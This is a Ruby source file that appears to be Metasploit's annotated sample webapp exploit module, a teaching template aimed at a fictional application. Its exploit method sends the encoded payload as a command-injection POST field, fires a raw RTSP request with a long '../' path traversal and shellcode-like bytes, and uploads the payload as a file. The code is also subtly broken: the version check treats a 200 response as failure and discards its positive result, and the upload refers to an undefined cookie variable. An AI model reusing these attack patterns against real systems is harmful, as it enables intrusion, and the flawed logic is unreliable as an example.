Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
###
7
#
8
# This exploit sample shows how an exploit module could be written to exploit
9
# a bug in an arbitrary web server
10
#
11
###
12
class MetasploitModule < Msf::Exploit::Remote
13
  Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
14

15
  #
16
  # This exploit affects a webapp, so we need to import HTTP Client
17
  # to easily interact with it.
18
  #
19
  include Msf::Exploit::Remote::HttpClient
20

21
  # There are libraries for several CMSes such as WordPress, Typo3,
22
  # SharePoint, Nagios XI, Moodle, Joomla, JBoss, and Drupal.
23
  #
24
  # The following import just includes the code for the WordPress library,
25
  # however you can find other similar libraries at
26
  # https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/exploit/remote/http
27
  include Msf::Exploit::Remote::HTTP::Wordpress
28

29
  def initialize(info = {})
30
    super(
31
      update_info(
32
        info,
33
        # The Name should be just like the line of a Git commit - software name,
34
        # vuln type, class. Preferably apply
35
        # some search optimization so people can actually find the module.
36
        # We encourage consistency between module name and file name.
37
        'Name' => 'Sample Webapp Exploit',
38
        'Description' => %q{
39
          This exploit module illustrates how a vulnerability could be exploited
40
          in a webapp.
41
        },
42
        'License' => MSF_LICENSE,
43
        # The place to add your name/handle and email.  Twitter and other contact info isn't handled here.
44
        # Add reference to additional authors, like those creating original proof of concepts or
45
        # reference materials.
46
        # It is also common to comment in who did what (PoC vs metasploit module, etc)
47
        'Author' => [
48
          'h00die <[email protected]>', # msf module
49
          'researcher' # original PoC, analysis
50
        ],
51
        'References' => [
52
          [ 'OSVDB', '12345' ],
53
          [ 'EDB', '12345' ],
54
          [ 'URL', 'http://www.example.com'],
55
          [ 'CVE', '1978-1234']
56
        ],
57
        # platform refers to the type of platform.  For webapps, this is typically the language of the webapp.
58
        # js, php, python, nodejs are common, this will effect what payloads can be matched for the exploit.
59
        # A full list is available in lib/msf/core/payload/uuid.rb
60
        'Platform' => ['python'],
61
        # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
62
        'Privileged' => false,
63
        # from underlying architecture of the system.  typically ARCH_X64 or ARCH_X86, but for webapps typically
64
        # this is the application language. ARCH_PYTHON, ARCH_PHP, ARCH_JAVA are some examples
65
        # A full list is available in lib/msf/core/payload/uuid.rb
66
        'Arch' => ARCH_PYTHON,
67
        'Targets' => [
68
          [ 'Automatic Target', {}]
69
        ],
70
        'DisclosureDate' => '2023-12-30',
71
        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
72
        # It's generally easiest just to put the default at the beginning of the list and skip this
73
        # entirely.
74
        'DefaultTarget' => 0,
75
        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
76
        'Notes' => {
77
          'Stability' => [],
78
          'Reliability' => [],
79
          'SideEffects' => []
80
        }
81
      )
82
    )
83
    # set the default port, and a URI that a user can set if the app isn't installed to the root
84
    register_options(
85
      [
86
        Opt::RPORT(80),
87
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
88
        OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
89
        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
90
      ]
91
    )
92
  end
93

94
  #
95
  # The sample exploit checks the index page to verify the version number is exploitable
96
  # we use a regex for the version number
97
  #
98
  def check
99
    # only catch the response if we're going to use it, in this case we do for the version
100
    # detection.
101
    res = send_request_cgi(
102
      'uri' => normalize_uri(target_uri.path, 'index.php'),
103
      'method' => 'GET'
104
    )
105
    # gracefully handle if res comes back as nil, since we're not guaranteed a response
106
    # also handle if we get an unexpected HTTP response code
107
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
108
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200
109

110
    # here we're looking through html for the version string, similar to:
111
    # Version 1.2
112
    %r{Version: (?<version>\d{1,2}\.\d{1,2})</td>} =~ res.body
113

114
    if version && Rex::Version.new(version) <= Rex::Version.new('1.3')
115
      CheckCode::Appears("Version Detected: #{version}")
116
    end
117

118
    CheckCode::Safe
119
  end
120

121
  #
122
  # The exploit method attempts a login, then attempts to throw a command execution
123
  # at a web page through a POST variable
124
  #
125
  def exploit
126
    # attempt a login. In this case we show basic auth, and a POST to a fake username/password
127
    # simply to show how both are done
128
    vprint_status('Attempting login')
129
    # since we will check res to see if auth was a success, make sure to capture the return
130
    res = send_request_cgi(
131
      'uri' => normalize_uri(target_uri.path, 'login.php'),
132
      'method' => 'POST',
133
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
134
      # automatically handle cookies with keep_cookies.  Alternatively use cookie = res.get_cookies and 'cookie' => cookie,
135
      'keep_cookies' => true,
136
      'vars_post' => {
137
        'username' => datastore['USERNAME'],
138
        'password' => datastore['PASSWORD']
139
      },
140
      'vars_get' => {
141
        'example' => 'example'
142
      }
143
    )
144

145
    # a valid login will give us a 301 redirect to /home.html so check that.
146
    # ALWAYS assume res could be nil and check it first!!!!!
147
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
148
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 301
149

150
    # we don't care what the response is, so don't bother saving it from send_request_cgi
151
    # datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout
152
    vprint_status('Attempting exploit')
153
    send_request_cgi({
154
      'uri' => normalize_uri(target_uri.path, 'command.html'),
155
      'method' => 'POST',
156
      'vars_post' =>
157
      {
158
        'cmd_str' => payload.encoded
159
      }
160
    }, datastore['HttpClientTimeout'])
161

162
    # send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work
163
    send_request_raw({
164
      'method' => 'DESCRIBE',
165
      'proto' => 'RTSP',
166
      'version' => '1.0',
167
      'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + '.smi'
168
    }, datastore['HttpClientTimeout'])
169

170
    # example of sending a MIME message
171
    data = Rex::MIME::Message.new
172
    # https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb
173
    file_contents = payload.encoded
174
    data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"")
175
    data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"")
176

177
    post_data = data.to_s
178

179
    res = send_request_cgi(
180
      'method'  => 'POST',
181
      'uri'     => normalize_uri(target_uri.path, 'async-upload.php'),
182
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
183
      'data'    => post_data,
184
      'cookie'  => cookie
185
    )
186
  rescue ::Rex::ConnectionError
187
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
188
  end
189
end
190

191